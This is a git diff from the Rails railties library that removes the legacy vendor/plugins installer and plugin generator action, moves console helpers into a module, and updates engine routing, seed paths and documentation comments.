- puts "removing: .git .gitignore" if $verbose
- rm_rf %w(.git .gitignore)
- else
- rm_rf install_path
- end
- end
- end
-
- def svn_command(cmd, options = {})
- root = rails_env.root
- mkdir_p "#{root}/vendor/plugins"
- base_cmd = "svn #{cmd} #{uri} \"#{root}/vendor/plugins/#{name}\""
- base_cmd += ' -q' if options[:quiet] and not $verbose
- base_cmd += " -r #{options[:revision]}" if options[:revision]
- puts base_cmd if $verbose
- system(base_cmd)
- end
-
- def guess_name(url)
- @name = File.basename(url)
- if @name == 'trunk' || @name.empty?
- @name = File.basename(File.dirname(url))
- end
- @name.gsub!(/\.git$/, '') if @name =~ /\.git$/
- end
-
- def rails_env
- @rails_env || RailsEnvironment.default
- end
-end
-
-# load default environment and parse arguments
-require 'optparse'
-module Commands
- class Plugin
- attr_reader :environment, :script_name
- def initialize
- @environment = RailsEnvironment.default
- @rails_root = RailsEnvironment.default.root
- @script_name = File.basename($0)
- end
-
- def environment=(value)
- @environment = value
- RailsEnvironment.default = value
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: plugin [OPTIONS] command"
- o.define_head "Rails plugin manager."
-
- o.separator ""
- o.separator "GENERAL OPTIONS"
-
- o.on("-r", "--root=DIR", String,
- "Set an explicit rails app directory.",
- "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) }
-
- o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose }
- o.on("-h", "--help", "Show this help message.") { puts o; exit }
-
- o.separator ""
- o.separator "COMMANDS"
-
- o.separator " install Install plugin(s) from known repositories or URLs."
- o.separator " remove Uninstall plugins."
-
- o.separator ""
- o.separator "EXAMPLES"
- o.separator " Install a plugin from a subversion URL:"
- o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n"
- o.separator " Install a plugin from a git URL:"
- o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n"
- o.separator " Install a plugin and add a svn:externals entry to vendor/plugins"
- o.separator " #{@script_name} plugin install -x my_svn_plugin\n"
- end
- end
-
- def parse!(args=ARGV)
- general, sub = split_args(args)
- options.parse!(general)
-
- command = general.shift
- if command =~ /^(install|remove)$/
- command = Commands.const_get(command.capitalize).new(self)
- command.parse!(sub)
- else
- puts "Unknown command: #{command}" unless command.blank?
- puts options
- exit 1
- end
- end
-
- def split_args(args)
- left = []
- left << args.shift while args[0] and args[0] =~ /^-/
- left << args.shift if args[0]
- [left, args]
- end
-
- def self.parse!(args=ARGV)
- Plugin.new.parse!(args)
- end
- end
-
- class Install
- def initialize(base_command)
- @base_command = base_command
- @method = :http
- @options = { :quiet => false, :revision => nil, :force => false }
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]"
- o.define_head "Install one or more plugins."
- o.separator ""
- o.separator "Options:"
- o.on( "-x", "--externals",
- "Use svn:externals to grab the plugin.",
- "Enables plugin updates and plugin versioning.") { |v| @method = :externals }
- o.on( "-o", "--checkout",
- "Use svn checkout to grab the plugin.",
- "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout }
- o.on( "-e", "--export",
- "Use svn export to grab the plugin.",
- "Exports the plugin, allowing you to check it into your local repository. Does not enable updates or add an svn:externals entry.") { |v| @method = :export }
- o.on( "-q", "--quiet",
- "Suppresses the output from installation.",
- "Ignored if -v is passed (rails plugin -v install ...)") { |v| @options[:quiet] = true }
- o.on( "-r REVISION", "--revision REVISION",
- "Checks out the given revision from subversion or git.",
- "Ignored if subversion/git is not used.") { |v| @options[:revision] = v }
- o.on( "-f", "--force",
- "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true }
- o.separator ""
- o.separator "You can specify plugin names as given in 'plugin list' output or absolute URLs to "
- o.separator "a plugin repository."
- end
- end
-
- def determine_install_method
- best = @base_command.environment.best_install_method
- @method = :http if best == :http and @method == :export
- case
- when (best == :http and @method != :http)
- msg = "Cannot install using subversion because `svn' cannot be found in your PATH"
- when (best == :export and (@method != :export and @method != :http))
- msg = "Cannot install using #{@method} because this project is not under subversion."
- when (best != :externals and @method == :externals)
- msg = "Cannot install using externals because vendor/plugins is not under subversion."
- end
- if msg
- puts msg
- exit 1
- end
- @method
- end
-
- def parse!(args)
- options.parse!(args)
- if args.blank?
- puts options
- exit 1
- end
- environment = @base_command.environment
- install_method = determine_install_method
- puts "Plugins will be installed using #{install_method}" if $verbose
- args.each do |name|
- ::Plugin.find(name).install(install_method, @options)
- end
- rescue StandardError => e
- puts "Plugin not found: #{args.inspect}"
- puts e.inspect if $verbose
- exit 1
- end
- end
-
- class Remove
- def initialize(base_command)
- @base_command = base_command
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} remove name [name]..."
- o.define_head "Remove plugins."
- end
- end
-
- def parse!(args)
- options.parse!(args)
- if args.blank?
- puts options
- exit 1
- end
- root = @base_command.environment.root
- args.each do |name|
- ::Plugin.new(name).uninstall
- end
- end
- end
-
- class Info
- def initialize(base_command)
- @base_command = base_command
- end
-
- def options
- OptionParser.new do |o|
- o.set_summary_indent(' ')
- o.banner = "Usage: #{@base_command.script_name} info name [name]..."
- o.define_head "Shows plugin info at {url}/about.yml."
- end
- end
-
- def parse!(args)
- options.parse!(args)
- args.each do |name|
- puts ::Plugin.find(name).info
- puts
- end
- end
- end
-end
-
-class RecursiveHTTPFetcher
- attr_accessor :quiet
- def initialize(urls_to_fetch, level = 1, cwd = ".")
- @level = level
- @cwd = cwd
- @urls_to_fetch = RUBY_VERSION >= '1.9' ? urls_to_fetch.lines : urls_to_fetch.to_a
- @quiet = false
- end
-
- def ls
- @urls_to_fetch.collect do |url|
- if url =~ /^svn(\+ssh)?:\/\/.*/
- `svn ls #{url}`.split("\n").map {|entry| "/#{entry}"} rescue nil
- else
- open(url) do |stream|
- links("", stream.read)
- end rescue nil
- end
- end.flatten
- end
-
- def push_d(dir)
- @cwd = File.join(@cwd, dir)
- FileUtils.mkdir_p(@cwd)
- end
-
- def pop_d
- @cwd = File.dirname(@cwd)
- end
-
- def links(base_url, contents)
- links = []
- contents.scan(/href\s*=\s*\"*[^\">]*/i) do |link|
- link = link.sub(/href="/i, "")
- next if link =~ /svnindex.xsl$/
- next if link =~ /^(\w*:|)\/\// || link =~ /^\./
- links << File.join(base_url, link)
- end
- links
- end
-
- def download(link)
- puts "+ #{File.join(@cwd, File.basename(link))}" unless @quiet
- open(link) do |stream|
- File.open(File.join(@cwd, File.basename(link)), "wb") do |file|
- file.write(stream.read)
- end
- end
- end
-
- def fetch(links = @urls_to_fetch)
- links.each do |l|
- (l =~ /\/$/ || links == @urls_to_fetch) ? fetch_dir(l) : download(l)
- end
- end
-
- def fetch_dir(url)
- @level += 1
- push_d(File.basename(url)) if @level > 0
- open(url) do |stream|
- contents = stream.read
- fetch(links(url, contents))
- end
- pop_d if @level > 0
- @level -= 1
- end
-end
-
-Commands::Plugin.parse!
diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb
index 0287ba0638..4d7bf3c9f3 100644
--- a/railties/lib/rails/commands/plugin_new.rb
+++ b/railties/lib/rails/commands/plugin_new.rb
@@ -1,5 +1,3 @@
-require 'rubygems' if ARGV.include?("--dev")
-
if ARGV.first != "new"
ARGV[0] = "--help"
else
diff --git a/railties/lib/rails/commands/profiler.rb b/railties/lib/rails/commands/profiler.rb
index ea6347c918..3f6966b4f0 100644
--- a/railties/lib/rails/commands/profiler.rb
+++ b/railties/lib/rails/commands/profiler.rb
@@ -19,7 +19,7 @@ def options
options
end
-class ProfilerTest < ActionDispatch::PerformanceTest
+class ProfilerTest < ActionDispatch::PerformanceTest #:nodoc:
self.profile_options = options
ARGV.each do |expression|
diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb
index e8cc5d9e3b..2802981e7a 100644
--- a/railties/lib/rails/commands/runner.rb
+++ b/railties/lib/rails/commands/runner.rb
@@ -9,7 +9,6 @@ if ARGV.first.nil?
end
ARGV.clone.options do |opts|
- script_name = File.basename($0)
opts.banner = "Usage: runner [options] ('Some.ruby(code)' or a filename)"
opts.separator ""
diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb
index 23392276d5..4c4caad69f 100644
--- a/railties/lib/rails/commands/server.rb
+++ b/railties/lib/rails/commands/server.rb
@@ -17,7 +17,7 @@ module Rails
opts.on("-c", "--config=file", String,
"Use custom rackup configuration file") { |v| options[:config] = v }
opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:daemonize] = true }
- opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true }
+ opts.on("-u", "--debugger", "Enable the debugger") { options[:debugger] = true }
opts.on("-e", "--environment=name", String,
"Specifies the environment to run this server under (test/development/production).",
"Default: development") { |v| options[:environment] = v }
@@ -32,6 +32,11 @@ module Rails
opt_parser.parse! args
+ # Handle's environment like RAILS_ENV=production passed in directly
+ if index = args.index {|arg| arg.include?("RAILS_ENV")}
+ options[:environment] ||= args.delete_at(index).split('=').last
+ end
+
options[:server] = args.shift
options
end
@@ -67,6 +72,15 @@ module Rails
FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
end
+ unless options[:daemonize]
+ wrapped_app # touch the app so the logger is set up
+
+ console = ActiveSupport::Logger.new($stdout)
+ console.formatter = Rails.logger.formatter
+
+ Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+ end
+
super
ensure
# The '-h' option calls exit before @options is set.
@@ -76,9 +90,8 @@ module Rails
def middleware
middlewares = []
- middlewares << [Rails::Rack::LogTailer, log_path] unless options[:daemonize]
middlewares << [Rails::Rack::Debugger] if options[:debugger]
- middlewares << [Rails::Rack::ContentLength]
+ middlewares << [::Rack::ContentLength]
Hash.new(middlewares)
end
@@ -89,6 +102,7 @@ module Rails
def default_options
super.merge({
:Port => 3000,
+ :DoNotReverseLookup => true,
:environment => (ENV['RAILS_ENV'] || "development").dup,
:daemonize => false,
:debugger => false,
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
index f8ad17773a..3d66019e5e 100644
--- a/railties/lib/rails/configuration.rb
+++ b/railties/lib/rails/configuration.rb
@@ -1,12 +1,39 @@
require 'active_support/deprecation'
require 'active_support/ordered_options'
-require 'active_support/core_ext/hash/deep_dup'
+require 'active_support/core_ext/object'
require 'rails/paths'
require 'rails/rack'
module Rails
module Configuration
- class MiddlewareStackProxy #:nodoc:
+ # MiddlewareStackProxy is a proxy for the Rails middleware stack that allows
+ # you to configure middlewares in your application. It works basically as a
+ # command recorder, saving each command to be applied after initialization
+ # over the default middleware stack, so you can add, swap, or remove any
+ # middleware in Rails.
+ #
+ # You can add your own middlewares by using the +config.middleware.use+ method:
+ #
+ # config.middleware.use Magical::Unicorns
+ #
+ # This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
+ # You can use +insert_before+ if you wish to add a middleware before another:
+ #
+ # config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+ #
+ # There's also +insert_after+ which will insert a middleware after another:
+ #
+ # config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+ #
+ # Middlewares can also be completely swapped out and replaced with others:
+ #
+ # config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
+ #
+ # And finally they can also be removed from the stack completely:
+ #
+ # config.middleware.delete ActionDispatch::BestStandardsSupport
+ #
+ class MiddlewareStackProxy
def initialize
@operations = []
end
@@ -33,7 +60,7 @@ module Rails
@operations << [:delete, args, block]
end
- def merge_into(other)
+ def merge_into(other) #:nodoc:
@operations.each do |operation, args, block|
other.send(operation, *args, &block)
end
diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb
index 95c74baae2..ee8bb55f38 100644
--- a/railties/lib/rails/console/app.rb
+++ b/railties/lib/rails/console/app.rb
@@ -3,30 +3,33 @@ require 'active_support/test_case'
require 'action_controller'
# work around the at_exit hook in test/unit, which kills IRB
-Test::Unit.run = true if Test::Unit.respond_to?(:run=)
-# reference the global "app" instance, created on demand. To recreate the
-# instance, pass a non-false value as the parameter.
-def app(create=false)
- @app_integration_instance = nil if create
- @app_integration_instance ||= new_session do |sess|
- sess.host! "www.example.com"
- end
-end
+module Rails
+ module ConsoleMethods
+ # reference the global "app" instance, created on demand. To recreate the
+ # instance, pass a non-false value as the parameter.
+ def app(create=false)
+ @app_integration_instance = nil if create
+ @app_integration_instance ||= new_session do |sess|
+ sess.host! "www.example.com"
+ end
+ end
-# create a new session. If a block is given, the new session will be yielded
-# to the block before being returned.
-def new_session
- app = Rails.application
- session = ActionDispatch::Integration::Session.new(app)
- yield session if block_given?
- session
-end
+ # create a new session. If a block is given, the new session will be yielded
+ # to the block before being returned.
+ def new_session
+ app = Rails.application
+ session = ActionDispatch::Integration::Session.new(app)
+ yield session if block_given?
+ session
+ end
-# reloads the environment
-def reload!(print=true)
- puts "Reloading..." if print
- ActionDispatch::Reloader.cleanup!
- ActionDispatch::Reloader.prepare!
- true
+ # reloads the environment
+ def reload!(print=true)
+ puts "Reloading..." if print
+ ActionDispatch::Reloader.cleanup!
+ ActionDispatch::Reloader.prepare!
+ true
+ end
+ end
end
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
index 212fc6125a..230d3d9d04 100644
--- a/railties/lib/rails/console/helpers.rb
+++ b/railties/lib/rails/console/helpers.rb
@@ -1,7 +1,11 @@
-def helper
- @helper ||= ApplicationController.helpers
-end
+module Rails
+ module ConsoleMethods
+ def helper
+ @helper ||= ApplicationController.helpers
+ end
-def controller
- @controller ||= ApplicationController.new
+ def controller
+ @controller ||= ApplicationController.new
+ end
+ end
end
diff --git a/railties/lib/rails/deprecation.rb b/railties/lib/rails/deprecation.rb
new file mode 100644
index 0000000000..c5811b2629
--- /dev/null
+++ b/railties/lib/rails/deprecation.rb
@@ -0,0 +1,18 @@
+require 'active_support/deprecation/proxy_wrappers'
+
+module Rails
+ class DeprecatedConstant < ActiveSupport::Deprecation::DeprecatedConstantProxy
+ def self.deprecate(old, current)
+ constant = new(old, current)
+ eval "::#{old} = constant"
+ end
+
+ private
+
+ def target
+ ::Kernel.eval @new_const.to_s
+ end
+ end
+
+ DeprecatedConstant.deprecate('RAILS_CACHE', '::Rails.cache')
+end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
index 2d25273050..47856c87c6 100644
--- a/railties/lib/rails/engine.rb
+++ b/railties/lib/rails/engine.rb
@@ -39,8 +39,6 @@ module Rails
# and <tt>autoload_once_paths</tt>, which, differently from a <tt>Railtie</tt>, are scoped to
# the current engine.
#
- # Example:
- #
# class MyEngine < Rails::Engine
# # Add a load path for this specific Engine
# config.autoload_paths << File.expand_path("../lib/some/path", __FILE__)
@@ -148,7 +146,7 @@ module Rails
#
# # ENGINE/config/routes.rb
# MyEngine::Engine.routes.draw do
- # match "/" => "posts#index"
+ # get "/" => "posts#index"
# end
#
# == Mount priority
@@ -158,7 +156,7 @@ module Rails
#
# MyRailsApp::Application.routes.draw do
# mount MyEngine::Engine => "/blog"
- # match "/blog/omg" => "main#omg"
+ # get "/blog/omg" => "main#omg"
# end
#
# +MyEngine+ is mounted at <tt>/blog</tt>, and <tt>/blog/omg</tt> points to application's
@@ -167,7 +165,7 @@ module Rails
# It's much better to swap that:
#
# MyRailsApp::Application.routes.draw do
- # match "/blog/omg" => "main#omg"
+ # get "/blog/omg" => "main#omg"
# mount MyEngine::Engine => "/blog"
# end
#
@@ -228,7 +226,7 @@ module Rails
# resources :articles
# end
#
- # The routes above will automatically point to <tt>MyEngine::ApplicationContoller</tt>. Furthermore, you don't
+ # The routes above will automatically point to <tt>MyEngine::ArticlesController</tt>. Furthermore, you don't
# need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use
# <tt>articles_path</tt> as you would do with your application.
#
@@ -245,7 +243,7 @@ module Rails
#
# Additionally, an isolated engine will set its name according to namespace, so
# MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix
- # to "my_engine_", changing the MyEngine::Article model to use the my_engine_article table.
+ # to "my_engine_", changing the MyEngine::Article model to use the my_engine_articles table.
#
# == Using Engine's routes outside Engine
#
@@ -256,7 +254,7 @@ module Rails
# # config/routes.rb
# MyApplication::Application.routes.draw do
# mount MyEngine::Engine => "/my_engine", :as => "my_engine"
- # match "/foo" => "foo#index"
+ # get "/foo" => "foo#index"
# end
#
# Now, you can use the <tt>my_engine</tt> helper inside your application:
@@ -296,16 +294,16 @@ module Rails
# If you want to share just a few specific helpers you can add them to application's
# helpers in ApplicationController:
#
- # class ApplicationController < ActionController::Base
- # helper MyEngine::SharedEngineHelper
- # end
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::SharedEngineHelper
+ # end
#
- # If you want to include all of the engine's helpers, you can use #helpers method on an engine's
+ # If you want to include all of the engine's helpers, you can use #helper method on an engine's
# instance:
#
- # class ApplicationController < ActionController::Base
- # helper MyEngine::Engine.helpers
- # end
+ # class ApplicationController < ActionController::Base
+ # helper MyEngine::Engine.helpers
+ # end
#
# It will include all of the helpers from engine's directory. Take into account that this does
# not include helpers defined in controllers with helper_method or other similar solutions,
@@ -326,10 +324,18 @@ module Rails
# migration in the application and rerun copying migrations.
#
# If your engine has migrations, you may also want to prepare data for the database in
- # the <tt>seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
+ # the <tt>db/seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
#
# MyEngine::Engine.load_seed
#
+ # == Loading priority
+ #
+ # In order to change engine's priority you can use +config.railties_order+ in main application.
+ # It will affect the priority of loading views, helpers, assets and all the other files
+ # related to engine or application.
+ #
+ # # load Blog::Engine with highest priority, followed by application and other railties
+ # config.railties_order = [Blog::Engine, :main_app, :all]
class Engine < Railtie
autoload :Configuration, "rails/engine/configuration"
autoload :Railties, "rails/engine/railties"
@@ -371,20 +377,28 @@ module Rails
self.routes.default_scope = { :module => ActiveSupport::Inflector.underscore(mod.name) }
self.isolated = true
- unless mod.respond_to?(:_railtie)
- name = engine_name
- _railtie = self
+ unless mod.respond_to?(:railtie_namespace)
+ name, railtie = engine_name, self
+
mod.singleton_class.instance_eval do
- define_method(:_railtie) do
- _railtie
- end
+ define_method(:railtie_namespace) { railtie }
unless mod.respond_to?(:table_name_prefix)
- define_method(:table_name_prefix) do
- "#{name}_"
- end
+ define_method(:table_name_prefix) { "#{name}_" }
+ end
+
+ unless mod.respond_to?(:use_relative_model_naming?)
+ class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__
+ end
+
+ unless mod.respond_to?(:railtie_helpers_paths)
+ define_method(:railtie_helpers_paths) { railtie.helpers_paths }
+ end
+
+ unless mod.respond_to?(:railtie_routes_url_helpers)
+ define_method(:railtie_routes_url_helpers) { railtie.routes_url_helpers }
end
- end
+ end
end
end
@@ -429,13 +443,6 @@ module Rails
def helpers
@helpers ||= begin
helpers = Module.new
-
- helpers_paths = if config.respond_to?(:helpers_paths)
- config.helpers_paths
- else
- paths["app/helpers"].existent
- end
-
all = ActionController::Base.all_helpers_from_path(helpers_paths)
ActionController::Base.modules_for_helpers(all).each do |mod|
helpers.send(:include, mod)
@@ -444,6 +451,14 @@ module Rails
end
end
+ def helpers_paths
+ paths["app/helpers"].existent
+ end
+
+ def routes_url_helpers
+ routes.url_helpers
+ end
+
def app
@app ||= begin
config.middleware = config.middleware.merge_into(default_middleware_stack)
@@ -466,15 +481,27 @@ module Rails
end
def routes
- @routes ||= ActionDispatch::Routing::RouteSet.new
+ @routes ||= ActionDispatch::Routing::RouteSet.new.tap do |routes|
+ routes.draw_paths.concat paths["config/routes"].paths
+ end
+
@routes.append(&Proc.new) if block_given?
@routes
end
+ def ordered_railties
+ railties.all + [self]
+ end
+
def initializers
initializers = []
- railties.all { |r| initializers += r.initializers }
- initializers += super
+ ordered_railties.each do |r|
+ if r == self
+ initializers += super
+ else
+ initializers += r.initializers
+ end
+ end
initializers
end
@@ -487,8 +514,8 @@ module Rails
#
# Blog::Engine.load_seed
def load_seed
- seed_file = paths["db/seeds"].existent.first
- load(seed_file) if File.exist?(seed_file)
+ seed_file = paths["db/seeds.rb"].existent.first
+ load(seed_file) if seed_file
end
# Add configured load paths to ruby load paths and remove duplicates.
@@ -515,11 +542,13 @@ module Rails
end
initializer :add_routing_paths do |app|
- paths = self.paths["config/routes"].existent
+ paths = self.paths["config/routes.rb"].existent
+ external_paths = self.paths["config/routes"].paths
if routes? || paths.any?
app.routes_reloader.paths.unshift(*paths)
app.routes_reloader.route_sets << routes
+ app.routes_reloader.external_routes.unshift(*external_paths)
end
end
@@ -532,14 +561,15 @@ module Rails
initializer :add_view_paths do
views = paths["app/views"].existent
unless views.empty?
- ActiveSupport.on_load(:action_controller){ prepend_view_path(views) }
+ ActiveSupport.on_load(:action_controller){ prepend_view_path(views) if respond_to?(:prepend_view_path) }
ActiveSupport.on_load(:action_mailer){ prepend_view_path(views) }
end
end
initializer :load_environment_config, :before => :load_environment_hook, :group => :all do
- environment = paths["config/environments"].existent.first
- require environment if environment
+ paths["config/environments"].existent.each do |environment|
+ require environment
+ end
end
initializer :append_assets_path, :group => :all do |app|
@@ -574,7 +604,12 @@ module Rails
desc "Copy migrations from #{railtie_name} to application"
task :migrations do
ENV["FROM"] = railtie_name
- Rake::Task["railties:install:migrations"].invoke
+ if Rake::Task.task_defined?("railties:install:migrations")
+ Rake::Task["railties:install:migrations"].invoke
+ else
+ Rake::Task["app:railties:install:migrations"].invoke
+ end
+
end
end
end
@@ -587,7 +622,7 @@ module Rails
end
def routes?
- defined?(@routes)
+ defined?(@routes) && @routes
end
def has_migrations?
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
index b71119af77..ffbc0b4bd6 100644
--- a/railties/lib/rails/engine/commands.rb
+++ b/railties/lib/rails/engine/commands.rb
@@ -34,6 +34,10 @@ The common rails commands available for engines are:
destroy Undo code generated with "generate" (short-cut alias: "d")
All commands can be run with -h for more information.
+
+If you want to run any commands that need to be run in context
+of the application, like `rails server` or `rails console`,
+you should do it from application's directory (typically test/dummy).
EOT
exit(1)
end
diff --git a/railties/lib/rails/engine/configuration.rb b/railties/lib/rails/engine/configuration.rb
index 99e0201e31..e31df807a6 100644
--- a/railties/lib/rails/engine/configuration.rb
+++ b/railties/lib/rails/engine/configuration.rb
@@ -5,7 +5,6 @@ module Rails
class Configuration < ::Rails::Railtie::Configuration
attr_reader :root
attr_writer :middleware, :eager_load_paths, :autoload_once_paths, :autoload_paths
- attr_accessor :plugins
def initialize(root=nil)
super()
@@ -30,7 +29,7 @@ module Rails
#
# config.generators.colorize_logging = false
#
- def generators #:nodoc
+ def generators #:nodoc:
@generators ||= Rails::Configuration::Generators.new
yield(@generators) if block_given?
@generators
@@ -53,13 +52,13 @@ module Rails
paths.add "config/environments", :glob => "#{Rails.env}.rb"
paths.add "config/initializers", :glob => "**/*.rb"
paths.add "config/locales", :glob => "*.{rb,yml}"
- paths.add "config/routes", :with => "config/routes.rb"
+ paths.add "config/routes.rb"
+ paths.add "config/routes", :glob => "**/*.rb"
paths.add "db"
paths.add "db/migrate"
- paths.add "db/seeds", :with => "db/seeds.rb"
+ paths.add "db/seeds.rb"
paths.add "vendor", :load_path => true
paths.add "vendor/assets", :glob => "*"
- paths.add "vendor/plugins"
paths
end
end
diff --git a/railties/lib/rails/engine/railties.rb b/railties/lib/rails/engine/railties.rb
index d5ecd2e48d..033d9c4180 100644
--- a/railties/lib/rails/engine/railties.rb
+++ b/railties/lib/rails/engine/railties.rb
@@ -7,18 +7,11 @@ module Rails
end
def all(&block)
- @all ||= plugins
+ @all ||= []
@all.each(&block) if block
@all
end
- def plugins
- @plugins ||= begin
- plugin_names = (@config.plugins || [:all]).map { |p| p.to_sym }
- Plugin.all(plugin_names, @config.paths["vendor/plugins"].existent)
- end
- end
-
def self.railties
@railties ||= ::Rails::Railtie.subclasses.map(&:instance)
end
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index 27f8d13ce8..4fa990171d 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -38,11 +38,6 @@ module Rails
:test_unit => {
:fixture_replacement => '-r',
- },
-
- :plugin => {
- :generator => '-g',
- :tasks => '-r'
}
}
@@ -57,16 +52,12 @@ module Rails
:orm => false,
:performance_tool => nil,
:resource_controller => :controller,
+ :resource_route => true,
:scaffold_controller => :scaffold_controller,
:stylesheets => true,
:stylesheet_engine => :css,
:test_framework => false,
:template_engine => :erb
- },
-
- :plugin => {
- :generator => false,
- :tasks => false
}
}
@@ -80,7 +71,7 @@ module Rails
hide_namespaces(*config.hidden_namespaces)
end
- def self.templates_path
+ def self.templates_path #:nodoc:
@templates_path ||= []
end
@@ -104,7 +95,6 @@ module Rails
# some of them are not available by adding a fallback:
#
# Rails::Generators.fallbacks[:shoulda] = :test_unit
- #
def self.fallbacks
@fallbacks ||= {}
end
@@ -124,8 +114,6 @@ module Rails
# Generators names must end with "_generator.rb". This is required because Rails
# looks in load paths and loads the generator just before it's going to be used.
#
- # ==== Examples
- #
# find_by_namespace :webrat, :rails, :integration
#
# Will search for the following generators:
@@ -134,7 +122,6 @@ module Rails
#
# Notice that "rails:generators:webrat" could be loaded as well, what
# Rails looks for is the first and last parts of the namespace.
- #
def self.find_by_namespace(name, base=nil, context=nil) #:nodoc:
lookups = []
lookups << "#{base}:#{name}" if base
@@ -182,6 +169,7 @@ module Rails
[
"rails",
+ "resource_route",
"#{orm}:migration",
"#{orm}:model",
"#{orm}:observer",
@@ -195,7 +183,6 @@ module Rails
"#{test}:scaffold",
"#{test}:view",
"#{test}:performance",
- "#{test}:plugin",
"#{template}:controller",
"#{template}:scaffold",
"#{template}:mailer",
@@ -246,7 +233,7 @@ module Rails
rails.delete("plugin_new")
print_list("rails", rails)
- hidden_namespaces.each {|n| groups.delete(n.to_s) }
+ hidden_namespaces.each { |n| groups.delete(n.to_s) }
groups.sort.each { |b, n| print_list(b, n) }
end
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index b26839644e..6cd2ea2bbd 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -5,49 +5,12 @@ module Rails
module Generators
module Actions
- # Install a plugin. You must provide either a Subversion url or Git url.
- #
- # For a Git-hosted plugin, you can specify a branch and
- # whether it should be added as a submodule instead of cloned.
- #
- # For a Subversion-hosted plugin you can specify a revision.
- #
- # ==== Examples
- #
- # plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git'
- # plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :branch => 'stable'
- # plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :submodule => true
- # plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
- # plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk', :revision => 1234
- #
- def plugin(name, options)
- log :plugin, name
-
- if options[:git] && options[:submodule]
- options[:git] = "-b #{options[:branch]} #{options[:git]}" if options[:branch]
- in_root do
- run "git submodule add #{options[:git]} vendor/plugins/#{name}", :verbose => false
- end
- elsif options[:git] || options[:svn]
- options[:git] = "-b #{options[:branch]} #{options[:git]}" if options[:branch]
- options[:svn] = "-r #{options[:revision]} #{options[:svn]}" if options[:revision]
- in_root do
- run_ruby_script "script/rails plugin install #{options[:svn] || options[:git]}", :verbose => false
- end
- else
- log "! no git or svn provided for #{name}. Skipping..."
- end
- end
-
# Adds an entry into Gemfile for the supplied gem. If env
# is specified, add the gem to the given environment.
#
- # ==== Example
- #
# gem "rspec", :group => :test
# gem "technoweenie-restful-authentication", :lib => "restful-authentication", :source => "http://gems.github.com/"
# gem "rails", "3.0", :git => "git://github.com/rails/rails"
- #
def gem(*args)
options = args.extract_options!
name, version = args
@@ -68,39 +31,35 @@ module Rails
end
in_root do
- str = "gem #{parts.join(", ")}\n"
+ str = "gem #{parts.join(", ")}"
str = " " + str if @in_group
+ str = "\n" + str
append_file "Gemfile", str, :verbose => false
end
end
# Wraps gem entries inside a group.
#
- # ==== Example
- #
# gem_group :development, :test do
# gem "rspec-rails"
# end
- #
def gem_group(*names, &block)
name = names.map(&:inspect).join(", ")
log :gemfile, "group #{name}"
in_root do
- append_file "Gemfile", "\ngroup #{name} do\n", :force => true
+ append_file "Gemfile", "\ngroup #{name} do", :force => true
@in_group = true
instance_eval(&block)
@in_group = false
- append_file "Gemfile", "end\n", :force => true
+ append_file "Gemfile", "\nend\n", :force => true
end
end
# Add the given source to Gemfile
#
- # ==== Example
- #
# add_source "http://gems.github.com/"
def add_source(source, options={})
log :source, source
@@ -115,6 +74,13 @@ module Rails
# If options :env is specified, the line is appended to the corresponding
# file in config/environments.
#
+ # environment do
+ # "config.autoload_paths += %W(#{config.root}/extras)"
+ # end
+ #
+ # environment(nil, :env => "development") do
+ # "config.active_record.observers = :cacher"
+ # end
def environment(data=nil, options={}, &block)
sentinel = /class [a-z_:]+ < Rails::Application/i
env_file_sentinel = /::Application\.configure do/
@@ -124,7 +90,7 @@ module Rails
if options[:env].nil?
inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false
else
- Array.wrap(options[:env]).each do |env|
+ Array(options[:env]).each do |env|
inject_into_file "config/environments/#{env}.rb", "\n #{data}", :after => env_file_sentinel, :verbose => false
end
end
